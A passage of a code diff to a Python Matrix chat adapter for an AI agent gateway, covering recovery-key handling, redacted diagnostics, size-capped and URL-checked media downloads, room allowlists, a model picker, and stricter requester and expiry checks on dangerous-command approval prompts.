- await olm.verify_with_recovery_key(recovery_key)
- logger.info("Matrix: cross-signing verified via recovery key")
- except Exception as exc:
- logger.warning(
- "Matrix: recovery key verification failed: %s", exc
- )
- else:
- # No recovery key — bootstrap cross-signing if the bot
- # has none yet. Without this, Element shows "Encrypted
- # by a device not verified by its owner" on every
- # message from this bot, indefinitely. mautrix's
- # generate_recovery_key does the full flow: generates
- # MSK/SSK/USK, uploads private keys to SSSS, publishes
- # public keys to the homeserver, and signs the current
- # device with the new SSK. Some homeservers require UIA
- # for /keys/device_signing/upload — those will need an
- # alternate path; Continuwuity and Synapse-with-shared-
- # secret accept the unauthenticated upload.
try:
- own_xsign = await olm.get_own_cross_signing_public_keys()
+ await olm.share_keys()
except Exception as exc:
- own_xsign = None
- logger.warning(
- "Matrix: cross-signing key lookup failed: %s", exc
- )
- if own_xsign is None:
- try:
- new_recovery_key = await olm.generate_recovery_key()
- logger.warning(
- "Matrix: bootstrapped cross-signing for %s. "
- "SAVE THIS RECOVERY KEY — set "
- "MATRIX_RECOVERY_KEY for future restarts so "
- "the bot can re-sign its device after key "
- "rotation: %s",
- client.mxid,
- new_recovery_key,
+ exc_str = str(exc)
+ if "already exists" in exc_str:
+ logger.error(
+ "Matrix: device %s has stale one-time keys on the "
+ "server signed with a previous identity key. "
+ "Delete the device from the homeserver and restart, "
+ "or generate a new access token to get a fresh device ID.",
+ client.device_id,
)
+ await crypto_db.stop()
+ await api.session.close()
+ return False
+ logger.warning("Matrix: share_keys() warning during startup: %s", exc)
+
+ recovery_key = os.getenv("MATRIX_RECOVERY_KEY", "").strip()
+ if recovery_key:
+ try:
+ await olm.verify_with_recovery_key(recovery_key)
+ logger.info("Matrix: cross-signing verified via recovery key")
except Exception as exc:
- logger.warning(
- "Matrix: cross-signing bootstrap failed "
- "(non-fatal — Element will show 'not "
- "verified by its owner'): %s",
- exc,
- )
+ logger.warning("Matrix: recovery key verification failed: %s", exc)
+ else:
+ try:
+ own_xsign = await olm.get_own_cross_signing_public_keys()
+ except Exception as exc:
+ own_xsign = None
+ logger.warning("Matrix: cross-signing key lookup failed: %s", exc)
+ if own_xsign is None:
+ _, output_error = _get_matrix_recovery_key_output_target()
+ if output_error == "not_configured":
+ logger.warning(
+ "Matrix: cross-signing keys are missing, but "
+ "automatic bootstrap is skipped because "
+ "MATRIX_RECOVERY_KEY_OUTPUT_FILE is not configured. "
+ "Configure MATRIX_RECOVERY_KEY from your Matrix client "
+ "or set MATRIX_RECOVERY_KEY_OUTPUT_FILE to write a new "
+ "recovery key once with mode 0600."
+ )
+ elif output_error == "exists":
+ logger.warning(
+ "Matrix: cross-signing keys are missing, but "
+ "automatic bootstrap is skipped because "
+ "MATRIX_RECOVERY_KEY_OUTPUT_FILE already exists and "
+ "will not be overwritten."
+ )
+ elif output_error:
+ logger.warning(
+ "Matrix: cross-signing keys are missing, but "
+ "automatic bootstrap is skipped because "
+ "MATRIX_RECOVERY_KEY_OUTPUT_FILE is not usable: %s",
+ output_error,
+ )
+ else:
+ try:
+ new_recovery_key = await olm.generate_recovery_key()
+ _handle_generated_matrix_recovery_key(
+ str(client.mxid),
+ new_recovery_key,
+ )
+ except Exception as exc:
+ logger.warning(
+ "Matrix: cross-signing bootstrap failed "
+ "(non-fatal — Element will show 'not verified by its owner'): %s",
+ exc,
+ )
- client.crypto = olm
- logger.info(
- "Matrix: E2EE enabled (store: %s%s)",
- str(_CRYPTO_DB_PATH),
- f", device_id={client.device_id}" if client.device_id else "",
- )
- except Exception as exc:
- logger.error(
- "Matrix: failed to create E2EE client: %s. %s",
- exc,
- _E2EE_INSTALL_HINT,
- )
- await api.session.close()
- return False
+ client.crypto = olm
+ logger.info(
+ "Matrix: E2EE enabled (store: %s%s)",
+ str(_CRYPTO_DB_PATH),
+ f", device_id={client.device_id}" if client.device_id else "",
+ )
+ except Exception as exc:
+ if self._e2ee_mode == "optional":
+ logger.warning(
+ "Matrix: failed to create optional E2EE client; "
+ "continuing without encrypted-room support: %s. %s",
+ exc,
+ _E2EE_INSTALL_HINT,
+ )
+ self._encryption = False
+ else:
+ logger.error(
+ "Matrix: failed to create E2EE client: %s. %s",
+ exc,
+ _E2EE_INSTALL_HINT,
+ )
+ await api.session.close()
+ return False
# Register event handlers.
from mautrix.client import InternalEventType as IntEvt
@@ -990,9 +1422,12 @@ async def connect(self) -> bool:
try:
sync_data = await client.sync(timeout=10000, full_state=True)
if isinstance(sync_data, dict):
+ self._last_sync_ts = time.time()
rooms_join = sync_data.get("rooms", {}).get("join", {})
self._joined_rooms.clear()
self._joined_rooms.update(rooms_join.keys())
+ self._room_identities.clear()
+ self._room_identity_cached_at.clear()
# Store the next_batch token so incremental syncs start
# from where the initial sync left off.
nb = sync_data.get("next_batch")
@@ -1008,9 +1443,7 @@ async def connect(self) -> bool:
# Dispatch events from the initial sync so the OlmMachine
# receives to-device key shares queued while we were offline.
try:
- tasks = client.handle_sync(sync_data)
- if tasks:
- await asyncio.gather(*tasks)
+ await self._dispatch_sync(sync_data)
except Exception as exc:
logger.warning("Matrix: initial sync event dispatch error: %s", exc)
await self._join_pending_invites(sync_data)
@@ -1088,20 +1521,7 @@ async def send(
for i, chunk in enumerate(chunks):
msg_content = self._build_text_message_content(chunk)
- # Reply-to support.
- if reply_to:
- msg_content["m.relates_to"] = {"m.in_reply_to": {"event_id": reply_to}}
-
- # Thread support: if metadata has thread_id, send as threaded reply.
- thread_id = (metadata or {}).get("thread_id")
- if thread_id:
- relates_to = msg_content.get("m.relates_to", {})
- relates_to["rel_type"] = "m.thread"
- relates_to["event_id"] = thread_id
- relates_to["is_falling_back"] = True
- if reply_to and "m.in_reply_to" not in relates_to:
- relates_to["m.in_reply_to"] = {"event_id": reply_to}
- msg_content["m.relates_to"] = relates_to
+ self._apply_relation_metadata(msg_content, reply_to=reply_to, metadata=metadata)
try:
event_id = await asyncio.wait_for(
@@ -1148,21 +1568,56 @@ async def send(
async def get_chat_info(self, chat_id: str) -> Dict[str, Any]:
"""Return room name and type (dm/group)."""
- name = chat_id
- chat_type = "dm" if await self._is_dm_room(chat_id) else "group"
-
- if self._client:
- try:
- name_evt = await self._client.get_state_event(
- RoomID(chat_id),
- EventType.ROOM_NAME,
- )
- if name_evt and hasattr(name_evt, "name") and name_evt.name:
- name = name_evt.name
- except Exception:
- pass
-
- return {"name": name, "type": chat_type}
+ identity = await self._resolve_room_identity(chat_id)
+ chat_type = "dm" if identity.chat_type == "dm" else "group"
+ return {"name": identity.display_name, "type": chat_type}
+
+ def get_diagnostics(self) -> Dict[str, Any]:
+ """Return redacted Matrix readiness/status diagnostics."""
+ now = time.time()
+ token_present = bool(self._access_token)
+ user_id = self._user_id or getattr(self._client, "mxid", "") or ""
+ device_id = self._device_id or getattr(self._client, "device_id", "") or ""
+ return {
+ "platform": "matrix",
+ "homeserver": self._homeserver,
+ "auth": {
+ "access_token_present": token_present,
+ "password_present": bool(self._password),
+ "token_preview": "***" if token_present else "",
+ "user_id": user_id,
+ "device_id_present": bool(device_id),
+ "device_id_preview": _redact_matrix_value(device_id),
+ },
+ "sync": {
+ "connected": self._client is not None,
+ "joined_room_count": len(self._joined_rooms),
+ "last_sync_age_seconds": (
+ max(0.0, now - self._last_sync_ts) if self._last_sync_ts else None
+ ),
+ },
+ "e2ee": {
+ "mode": self._e2ee_mode,
+ "enabled": bool(self._encryption),
+ "deps_available": _check_e2ee_deps(),
+ "crypto_store_path": str(_CRYPTO_DB_PATH),
+ "recovery_key_configured": bool(os.getenv("MATRIX_RECOVERY_KEY", "").strip()),
+ },
+ "policy": {
+ "allowed_user_count": len(self._allowed_user_ids),
+ "allowed_room_count": len(self._allowed_room_ids),
+ "ignored_user_pattern_count": len(self._ignored_user_patterns),
+ "require_mention": self._require_mention,
+ "free_response_room_count": len(self._free_rooms),
+ "allow_room_mentions": self._allow_room_mentions,
+ "process_notices": self._process_notices,
+ "allow_public_rooms": os.getenv("MATRIX_ALLOW_PUBLIC_ROOMS", "").lower()
+ in ("true", "1", "yes"),
+ },
+ "media": {
+ "max_media_bytes": self._max_media_bytes,
+ },
+ }
# ------------------------------------------------------------------
# Optional overrides
@@ -1237,43 +1692,120 @@ async def send_image(
)
try:
- # Try aiohttp first (always available), fall back to httpx
- try:
- import aiohttp as _aiohttp
- _sess_kw, _req_kw = proxy_kwargs_for_aiohttp(self._proxy_url)
- async with _aiohttp.ClientSession(**_sess_kw) as http:
- async with http.get(
- image_url,
- timeout=_aiohttp.ClientTimeout(total=30),
- **_req_kw,
- ) as resp:
- resp.raise_for_status()
- data = await resp.read()
- ct = resp.content_type or "image/png"
- fname = (
- image_url.rsplit("/", 1)[-1].split("?")[0] or "image.png"
- )
- except ImportError:
- import httpx
- _httpx_kw: dict = {}
- if self._proxy_url:
- _httpx_kw["proxy"] = self._proxy_url
- async with httpx.AsyncClient(**_httpx_kw) as http:
- resp = await http.get(image_url, follow_redirects=True, timeout=30)
- resp.raise_for_status()
- data = resp.content
- ct = resp.headers.get("content-type", "image/png")
- fname = image_url.rsplit("/", 1)[-1].split("?")[0] or "image.png"
+ data, ct, fname = await self._download_external_media_with_cap(image_url)
except Exception as exc:
- logger.warning("Matrix: failed to download image %s: %s", image_url, exc)
+ logger.warning(
+ "Matrix: failed to download image %s: %s",
+ _redact_url_for_log(image_url),
+ exc,
+ )
+ fallback = (
+ "I couldn't download and upload the image to Matrix. "
+ "The source URL was not shown because it may contain private tokens."
+ )
+ if caption:
+ fallback = f"{caption}\n{fallback}"
return await self.send(
- chat_id, f"{caption or ''}\n{image_url}".strip(), reply_to
+ chat_id,
+ fallback,
+ reply_to,
)
return await self._upload_and_send(
chat_id, data, fname, ct, "m.image", caption, reply_to, metadata
)
+ async def _download_external_media_with_cap(self, url: str) -> tuple[bytes, str, str]:
+ """Download external media while enforcing redirect safety and size caps."""
+ from tools.url_safety import is_safe_url
+
+ if not is_safe_url(url):
+ raise ValueError("blocked unsafe media URL")
+
+ def _check_content_length(headers: Any) -> None:
+ raw = None
+ try:
+ raw = headers.get("Content-Length") or headers.get("content-length")
+ except Exception:
+ raw = None
+ if raw is None:
+ return
+ try:
+ size = int(raw)
+ except (TypeError, ValueError):
+ return
+ if size > self._max_media_bytes:
+ raise ValueError(
+ f"media exceeds Matrix limit ({size} > {self._max_media_bytes} bytes)"
+ )
+
+ def _check_image_content_type(content_type: str) -> str:
+ content_type = str(content_type or "").split(";", 1)[0].strip().lower()
+ if not content_type.startswith("image/"):
+ raise ValueError("external media is not an image")
+ return content_type
+
+ def _append_chunk(parts: list[bytes], total: int, chunk: bytes) -> int:
+ total += len(chunk)
+ if total > self._max_media_bytes:
+ raise ValueError(
+ f"media exceeds Matrix limit (> {self._max_media_bytes} bytes)"
+ )
+ parts.append(chunk)
+ return total
+
+ fname = url.rsplit("/", 1)[-1].split("?")[0] or "image.png"
+
+ try:
+ import aiohttp as _aiohttp
+
+ _sess_kw, _req_kw = proxy_kwargs_for_aiohttp(self._proxy_url)
+ async with _aiohttp.ClientSession(**_sess_kw) as http:
+ async with http.get(
+ url,
+ timeout=_aiohttp.ClientTimeout(total=30),
+ allow_redirects=True,
+ **_req_kw,
+ ) as resp:
+ resp.raise_for_status()
+ if not is_safe_url(str(resp.url)):
+ raise ValueError("blocked unsafe redirect URL")
+ _check_content_length(resp.headers)
+ parts: list[bytes] = []
+ total = 0
+ async for chunk in resp.content.iter_chunked(65536):
+ total = _append_chunk(parts, total, bytes(chunk))
+ ct = _check_image_content_type(
+ getattr(resp, "content_type", None)
+ or resp.headers.get("content-type", "application/octet-stream")
+ )
+ return b"".join(parts), ct, fname
+ except ImportError:
+ import httpx
+
+ _httpx_kw: dict = {}
+ if self._proxy_url:
+ _httpx_kw["proxy"] = self._proxy_url
+ async with httpx.AsyncClient(**_httpx_kw) as http:
+ async with http.stream(
+ "GET",
+ url,
+ follow_redirects=True,
+ timeout=30,
+ ) as resp:
+ resp.raise_for_status()
+ if not is_safe_url(str(resp.url)):
+ raise ValueError("blocked unsafe redirect URL")
+ _check_content_length(resp.headers)
+ parts: list[bytes] = []
+ total = 0
+ async for chunk in resp.aiter_bytes():
+ total = _append_chunk(parts, total, bytes(chunk))
+ ct = _check_image_content_type(
+ resp.headers.get("content-type", "application/octet-stream")
+ )
+ return b"".join(parts), ct, fname
+
async def send_image_file(
self,
chat_id: str,
@@ -1287,6 +1819,42 @@ async def send_image_file(
chat_id, image_path, "m.image", caption, reply_to, metadata=metadata
)
+ async def send_multiple_images(
+ self,
+ chat_id: str,
+ images: list[tuple[str, str]],
+ metadata: Optional[Dict[str, Any]] = None,
+ human_delay: float = 0.0,
+ ) -> None:
+ """Send multiple Matrix images as one ordered logical batch."""
+ if not images:
+ return
+ from urllib.parse import unquote as _unquote
+
+ total = len(images)
+ for idx, (image_url, alt_text) in enumerate(images, start=1):
+ if human_delay > 0 and idx > 1:
+ await asyncio.sleep(human_delay)
+ caption = alt_text or None
+ if total > 1 and caption:
+ caption = f"{caption} ({idx}/{total})"
+ if image_url.startswith("file://"):
+ result = await self.send_image_file(
+ chat_id=chat_id,
+ image_path=_unquote(image_url[7:]),
+ caption=caption,
+ metadata=metadata,
+ )
+ else:
+ result = await self.send_image(
+ chat_id=chat_id,
+ image_url=image_url,
+ caption=caption,
+ metadata=metadata,
+ )
+ if not result.success:
+ logger.warning("Matrix: failed to send image %d/%d: %s", idx, total, result.error)
+
async def send_document(
self,
chat_id: str,
@@ -1345,16 +1913,17 @@ async def send_exec_approval(
if not self._client:
return SendResult(success=False, error="Not connected")
+ requester_user_id = str((metadata or {}).get("requester_user_id") or "") or None
cmd_preview = command[:2000] + "..." if len(command) > 2000 else command
text = (
"⚠️ **Dangerous command requires approval**\n"
f"```\n{cmd_preview}\n```\n"
f"Reason: {description}\n\n"
- "Reply `/approve` to execute, `/approve session` to approve this pattern for the session, "
- "`/approve always` to approve permanently, or `/deny` to cancel.\n\n"
+ "Reply `!approve` to execute, `!approve session` to approve this pattern for the session, "
+ "`!approve always` to approve permanently, or `!deny` to cancel.\n\n"
"You can also click the reaction to approve:\n"
- "✅ = /approve\n"
- "❎ = /deny"
+ "✅ = approve\n"
+ "❎ = deny"
)
result = await self.send(chat_id, text, metadata=metadata)
@@ -1365,6 +1934,8 @@ async def send_exec_approval(
session_key=session_key,
chat_id=chat_id,
message_id=result.message_id,
+ requester_user_id=requester_user_id,
+ expires_at=time.monotonic() + max(self._approval_timeout_seconds, 0),
)
old_event = self._approval_prompt_by_session.get(session_key)
if old_event:
@@ -1372,7 +1943,7 @@ async def send_exec_approval(
self._approval_prompts_by_event[result.message_id] = prompt
self._approval_prompt_by_session[session_key] = result.message_id
- for emoji in ("✅", "❎"):
+ for emoji in ("✅", "♾️", "❌"):
try:
reaction_result = await self._send_reaction(chat_id, result.message_id, emoji)
# Save the bot's reaction event_id for later cleanup
@@ -1383,6 +1954,87 @@ async def send_exec_approval(
return result
+ async def send_model_picker(
+ self,
+ chat_id: str,
+ providers: list,
+ current_model: str,
+ current_provider: str,
+ session_key: str,
+ on_model_selected,
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> SendResult:
+ """Send a Matrix reaction-based model picker."""
+ if not self._client:
+ return SendResult(success=False, error="Not connected")
+
+ flat_choices: list[tuple[str, str, str, str]] = []
+ for provider in providers or []:
+ provider_slug = str(provider.get("slug") or "")
+ provider_name = str(provider.get("name") or provider_slug)
+ models = provider.get("models") or []
+ for model_id in models:
+ if len(flat_choices) >= len(_MATRIX_MODEL_PICKER_REACTIONS):
+ break
+ flat_choices.append((
+ _MATRIX_MODEL_PICKER_REACTIONS[len(flat_choices)],
+ str(model_id),
+ provider_slug,
+ provider_name,
+ ))
+ if len(flat_choices) >= len(_MATRIX_MODEL_PICKER_REACTIONS):
+ break
+
+ if not flat_choices:
+ return await self.send(
+ chat_id,
+ "No authenticated models are available for this session.",
+ metadata=metadata,
+ )
+
+ try:
+ from hermes_cli.providers import get_label
+ provider_label = get_label(current_provider)
+ except Exception:
+ provider_label = current_provider
+
+ lines = [
+ "⚙ **Model Configuration**",
+ f"Current model: `{current_model or 'unknown'}`",
+ f"Provider: {provider_label or 'unknown'}",
+ "",
+ "React to choose a model:",
+ ]
+ choices: dict[str, tuple[str, str]] = {}
+ for emoji, model_id, provider_slug, provider_name in flat_choices:
+ choices[emoji] = (model_id, provider_slug)
+ lines.append(f"{emoji} `{model_id}` — {provider_name}")
+
+ result = await self.send(chat_id, "\n".join(lines), metadata=metadata)
+ if not result.success or not result.message_id:
+ return result
+
+ prompt = _MatrixModelPickerPrompt(
+ chat_id=chat_id,
+ message_id=result.message_id,
+ session_key=session_key,
+ choices=choices,
+ on_model_selected=on_model_selected,
+ requester_user_id=str((metadata or {}).get("requester_user_id") or "") or None,
+ expires_at=time.monotonic() + max(self._approval_timeout_seconds, 0),
+ )
+ self._model_picker_prompts_by_event[result.message_id] = prompt
+
+ for emoji in choices:
+ try:
+ reaction_event_id = await self._send_reaction(chat_id, result.message_id, emoji)
+ if reaction_event_id:
+ prompt.bot_reaction_events[emoji] = str(reaction_event_id)
+ except Exception as exc:
+ logger.debug("Matrix: failed to add model picker reaction %s: %s", emoji, exc)
+
+ return result
+
def format_message(self, content: str) -> str:
"""Pass-through — Matrix supports standard Markdown natively."""
# Strip image markdown; media is uploaded separately.
@@ -1406,6 +2058,11 @@ async def _upload_and_send(
is_voice: bool = False,
) -> SendResult:
"""Upload bytes to Matrix and send as a media message."""
+ if len(data) > self._max_media_bytes:
+ return SendResult(
+ success=False,
+ error=f"Media file exceeds Matrix limit ({len(data)} > {self._max_media_bytes} bytes)",
+ )
upload_data = data
encrypted_file = None
@@ -1456,16 +2113,7 @@ async def _upload_and_send(
if is_voice:
msg_content["org.matrix.msc3245.voice"] = {}
- if reply_to:
- msg_content["m.relates_to"] = {"m.in_reply_to": {"event_id": reply_to}}
-
- thread_id = (metadata or {}).get("thread_id")
- if thread_id:
- relates_to = msg_content.get("m.relates_to", {})
- relates_to["rel_type"] = "m.thread"
- relates_to["event_id"] = thread_id
- relates_to["is_falling_back"] = True
- msg_content["m.relates_to"] = relates_to
+ self._apply_relation_metadata(msg_content, reply_to=reply_to, metadata=metadata)
try:
event_id = await self._client.send_message_event(
@@ -1494,6 +2142,15 @@ async def _send_local_file(
return await self.send(
room_id, f"{caption or ''}\n(file not found: {file_path})", reply_to
)
+ try:
+ file_size = p.stat().st_size
+ except OSError:
+ file_size = 0
+ if file_size > self._max_media_bytes:
+ return SendResult(
+ success=False,
+ error=f"Media file exceeds Matrix limit ({file_size} > {self._max_media_bytes} bytes)",
+ )
fname = file_name or p.name
ct = mimetypes.guess_type(fname)[0] or "application/octet-stream"
@@ -1538,10 +2195,13 @@ async def _sync_loop(self) -> None:
return
if isinstance(sync_data, dict):
+ self._last_sync_ts = time.time()
# Update joined rooms from sync response.
rooms_join = sync_data.get("rooms", {}).get("join", {})
if rooms_join:
self._joined_rooms.update(rooms_join.keys())
+ self._room_identities.clear()
+ self._room_identity_cached_at.clear()
# Advance the sync token so the next request is
# incremental instead of a full initial sync.
@@ -1553,9 +2213,7 @@ async def _sync_loop(self) -> None:
# Dispatch events to registered handlers so that
# _on_room_message / _on_reaction / _on_invite fire.
try:
- tasks = client.handle_sync(sync_data)
- if tasks:
- await asyncio.gather(*tasks)
+ await self._dispatch_sync(sync_data)
except Exception as exc:
logger.warning("Matrix: sync event dispatch error: %s", exc)
await self._join_pending_invites(sync_data)
@@ -1584,6 +2242,17 @@ async def _sync_loop(self) -> None:
# Event callbacks
# ------------------------------------------------------------------
+ async def _dispatch_sync(self, sync_data: Dict[str, Any]) -> None:
+ """Dispatch a sync response through the mautrix event machinery."""
+ client = self._client
+ if not client or not hasattr(client, "handle_sync"):
+ return
+ tasks = client.handle_sync(sync_data)
+ if inspect.isawaitable(tasks):
+ tasks = await tasks
+ if tasks:
+ await asyncio.gather(*tasks)
+
def _is_self_sender(self, sender: str) -> bool:
"""Return True if the sender refers to the bot's own account.
@@ -1640,6 +2309,33 @@ def _is_system_or_bridge_sender(sender: str) -> bool:
return True
return localpart.startswith("_")
+ def _matches_ignored_user_pattern(self, sender: str) -> bool:
+ """Return True when sender matches configured Matrix ignore patterns."""
+ return any(pattern.search(sender or "") for pattern in self._ignored_user_patterns)
+
+ def _is_allowed_matrix_room(self, room_id: str) -> bool:
+ """Return True when MATRIX_ALLOWED_ROOMS permits the room."""
+ return not self._allowed_room_ids or room_id in self._allowed_room_ids
+
+ async def _is_allowed_matrix_room_event(self, room_id: str) -> bool:
+ """Return True when a room event may proceed past intake filters.
+
+ MATRIX_ALLOWED_ROOMS constrains shared rooms. Matrix DMs are exempt so
+ personal chats still work when operators use a room allowlist for
+ project rooms.
+ """
+ if self._is_allowed_matrix_room(room_id):
+ return True
+ try:
+ return await self._is_dm_room(room_id)
+ except Exception as exc:
+ logger.debug(
+ "Matrix: could not resolve room identity for allowlist check in %s: %s",
+ room_id,
+ exc,
+ )
+ return False
+
async def _on_room_message(self, event: Any) -> None:
"""Handle incoming room message events (text, media)."""
room_id = str(getattr(event, "room_id", ""))
@@ -1671,6 +2367,19 @@ async def _on_room_message(self, event: Any) -> None:
room_id,
)
return
+ if self._matches_ignored_user_pattern(sender):
+ logger.debug(
+ "Matrix: ignoring sender %s in %s due to configured ignore pattern",
+ sender,
+ room_id,
+ )
+ return
+ if not await self._is_allowed_matrix_room_event(room_id):
+ logger.info(
+ "Matrix: ignoring message from unauthorized room %s",
+ room_id,
+ )
+ return
# Deduplicate by event ID.
event_id = str(getattr(event, "event_id", ""))
@@ -1678,12 +2387,7 @@ async def _on_room_message(self, event: Any) -> None:
return
# Startup grace: ignore old messages from initial sync.
- raw_ts = (
- getattr(event, "timestamp", None)
- or getattr(event, "server_timestamp", None)
- or 0
- )
- event_ts = raw_ts / 1000.0 if raw_ts else 0.0
+ event_ts = _matrix_event_timestamp_seconds(event)
if event_ts and event_ts < self._startup_ts - _STARTUP_GRACE_SECONDS:
# If we are well past startup but events are still being dropped
# by the grace check, the host clock is probably set ahead of
@@ -1759,7 +2463,7 @@ async def _on_room_message(self, event: Any) -> None:
# Ignore m.notice to prevent bot-to-bot loops (m.notice is the
# conventional msgtype for bot responses in the Matrix ecosystem).
- if msgtype == "m.notice":
+ if msgtype == "m.notice" and not self._process_notices:
return
# Dispatch by msgtype.
@@ -1768,7 +2472,7 @@ async def _on_room_message(self, event: Any) -> None:
await self._handle_media_message(
room_id, sender, event_id, event_ts, source_content, relates_to, msgtype
)
- elif msgtype == "m.text":
+ elif msgtype in ("m.text", "m.notice"):
await self._handle_text_message(
room_id, sender, event_id, event_ts, source_content, relates_to
)
@@ -1787,6 +2491,7 @@ async def _resolve_message_context(
Returns (body, is_dm, chat_type, thread_id, display_name, source)
or None if the message should be dropped (mention gating).
"""
+ identity = await self._resolve_room_identity(room_id)
is_dm = await self._is_dm_room(room_id)
chat_type = "dm" if is_dm else "group"
@@ -1853,18 +2558,34 @@ async def _resolve_message_context(
if is_mentioned and self._require_mention:
body = self._strip_mention(body)
- # Auto-thread.
- if not thread_id and ((not is_dm and self._auto_thread) or (is_dm and self._dm_auto_thread)):
- thread_id = event_id
- self._threads.mark(thread_id)
+ # Auto-thread/session-scope policy. Real Matrix thread roots are
+ # preserved above; synthetic thread roots are policy-driven.
+ if not thread_id:
+ if is_dm:
+ if self._dm_auto_thread:
+ thread_id = event_id
+ self._threads.mark(thread_id)
+ elif self._matrix_session_scope == "room":
+ thread_id = None
+ elif self._matrix_session_scope == "thread":
+ thread_id = event_id
+ self._threads.mark(thread_id)
+ elif self._auto_thread:
+ thread_id = event_id
+ self._threads.mark(thread_id)
display_name = await self._get_display_name(room_id, sender)
source = self.build_source(
chat_id=room_id,
+ chat_name=identity.display_name,
chat_type=chat_type,
user_id=sender,
user_name=display_name,
thread_id=thread_id,
+ chat_topic=identity.room_topic,
+ guild_id=identity.server_name,
+ parent_chat_id=room_id if thread_id else None,
+ message_id=event_id,
)
if thread_id:
@@ -1959,6 +2680,12 @@ async def _handle_media_message(
"""Process a media message event (image, audio, video, file)."""
body = source_content.get("body", "") or ""
url = source_content.get("url", "")
+ if url and not str(url).startswith("mxc://"):
+ logger.warning(
+ "[Matrix] Rejecting inbound media %s with non-MXC URL",
+ event_id,
+ )
+ return
# Convert mxc:// to HTTP URL for downstream processing.
http_url = ""
@@ -1970,11 +2697,30 @@ async def _handle_media_message(
if not isinstance(content_info, dict):
content_info = {}
event_mimetype = content_info.get("mimetype", "")
+ event_size = content_info.get("size")
+ try:
+ event_size_int = int(event_size) if event_size is not None else 0
+ except (TypeError, ValueError):
+ event_size_int = 0
+ if event_size_int and event_size_int > self._max_media_bytes:
+ logger.warning(
+ "[Matrix] Rejecting oversized inbound media %s (%d > %d bytes)",
+ event_id,
+ event_size_int,
+ self._max_media_bytes,
+ )
+ return
# For encrypted media, the URL may be in file.url.
file_content = source_content.get("file", {})
if not url and isinstance(file_content, dict):
url = file_content.get("url", "") or ""
+ if url and not str(url).startswith("mxc://"):
+ logger.warning(
+ "[Matrix] Rejecting inbound encrypted media %s with non-MXC URL",
+ event_id,
+ )
+ return
if url and url.startswith("mxc://"):
http_url = self._mxc_to_http(url)
@@ -2145,6 +2891,8 @@ async def _join_room_by_id(self, room_id: str) -> bool:
try:
await self._client.join_room(RoomID(room_id))
self._joined_rooms.add(room_id)
+ self._room_identities.pop(room_id, None)
+ self._room_identity_cached_at.pop(room_id, None)
logger.info("Matrix: joined %s", room_id)
await self._refresh_dm_cache()
return True
@@ -2314,15 +3062,20 @@ async def _on_reaction(self, event: Any) -> None:
if prompt and not prompt.resolved:
if room_id != prompt.chat_id:
return
- _allow_all = os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in {"true", "1", "yes"}
- if not _allow_all and not (self._allowed_user_ids and sender in self._allowed_user_ids):
- logger.info(
- "Matrix: ignoring approval reaction from unauthorized user %s on %s",
- sender, reacts_to,
- )
+ if self._matrix_prompt_expired(prompt):
+ await self._expire_matrix_approval_prompt(room_id, reacts_to, prompt)
+ return
+ if not await self._validate_matrix_prompt_reactor(
+ room_id, reacts_to, sender, prompt, "approval"
+ ):
return
choice = self._approval_reaction_map.get(key)
if not choice:
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ reacts_to,
+ "That reaction is not valid for this approval prompt.",
+ )
return
try:
from tools.approval import resolve_gateway_approval
@@ -2341,17 +3094,157 @@ async def _on_reaction(self, event: Any) -> None:
await self._redact_bot_approval_reactions(room_id, prompt)
except Exception as exc:
logger.error("Failed to resolve gateway approval from Matrix reaction: %s", exc)
+ return
+
+ model_prompt = self._model_picker_prompts_by_event.get(reacts_to)
+ if model_prompt and not model_prompt.resolved:
+ if room_id != model_prompt.chat_id:
+ return
+ if self._matrix_prompt_expired(model_prompt):
+ await self._expire_matrix_model_picker_prompt(room_id, reacts_to, model_prompt)
+ return
+ if not await self._validate_matrix_prompt_reactor(
+ room_id, reacts_to, sender, model_prompt, "model picker"
+ ):
+ return
+ selection = model_prompt.choices.get(key)
+ if not selection:
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ reacts_to,
+ "That reaction is not one of the available model choices.",
+ )
+ return
+ model_prompt.resolved = True
+ self._model_picker_prompts_by_event.pop(reacts_to, None)
+ model_id, provider_slug = selection
+ try:
+ confirmation = await model_prompt.on_model_selected(
+ room_id, model_id, provider_slug
+ )
+ await self._redact_bot_model_picker_reactions(room_id, model_prompt)
+ if confirmation:
+ await self.send(room_id, confirmation, reply_to=reacts_to)
+ except Exception as exc:
+ logger.error("Failed to switch model from Matrix reaction: %s", exc)
+ await self.send(
+ room_id,
+ f"Failed to switch model: {exc}",
+ reply_to=reacts_to,
+ )
+ return
+
+ def _matrix_prompt_expired(self, prompt: Any) -> bool:
+ expires_at = getattr(prompt, "expires_at", None)
+ return expires_at is not None and time.monotonic() > float(expires_at)
+
+ async def _validate_matrix_prompt_reactor(
+ self,
+ room_id: str,
+ target_event_id: str,
+ sender: str,
+ prompt: Any,
+ prompt_label: str,
+ ) -> bool:
+ allow_all = os.getenv("GATEWAY_ALLOW_ALL_USERS", "").lower() in {
+ "true",
+ "1",
+ "yes",
+ }
+ if not allow_all and not (
+ self._allowed_user_ids and sender in self._allowed_user_ids
+ ):
+ logger.info(
+ "Matrix: ignoring %s reaction from unauthorized user %s on %s",
+ prompt_label, sender, target_event_id,
+ )
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ target_event_id,
+ "Only an authorized Matrix user can use these controls.",
+ )
+ return False
+
+ requester = getattr(prompt, "requester_user_id", None)
+ approval_require_sender = getattr(self, "_approval_require_sender", True)
+ if approval_require_sender and requester and sender != requester:
+ logger.info(
+ "Matrix: ignoring %s reaction from %s; requester is %s",
+ prompt_label, sender, requester,
+ )
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ target_event_id,
+ "Only the user who requested this action can use these controls.",
+ )
+ return False
+ return True
+
+ async def _send_invalid_reaction_feedback(
+ self,
+ room_id: str,
+ target_event_id: str,
+ text: str,
+ ) -> None:
+ try:
+ await self.send(room_id, text, reply_to=target_event_id)
+ except Exception as exc:
+ logger.debug("Matrix: failed to send invalid reaction feedback: %s", exc)
+
+ async def _expire_matrix_approval_prompt(
+ self,
+ room_id: str,
+ target_event_id: str,
+ prompt: "_MatrixApprovalPrompt",
+ ) -> None:
+ prompt.resolved = True
+ self._approval_prompts_by_event.pop(target_event_id, None)
+ self._approval_prompt_by_session.pop(prompt.session_key, None)
+ await self._redact_bot_approval_reactions(room_id, prompt)
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ target_event_id,
+ "This approval prompt has expired. Run the command again if you still want to approve it.",
+ )
+
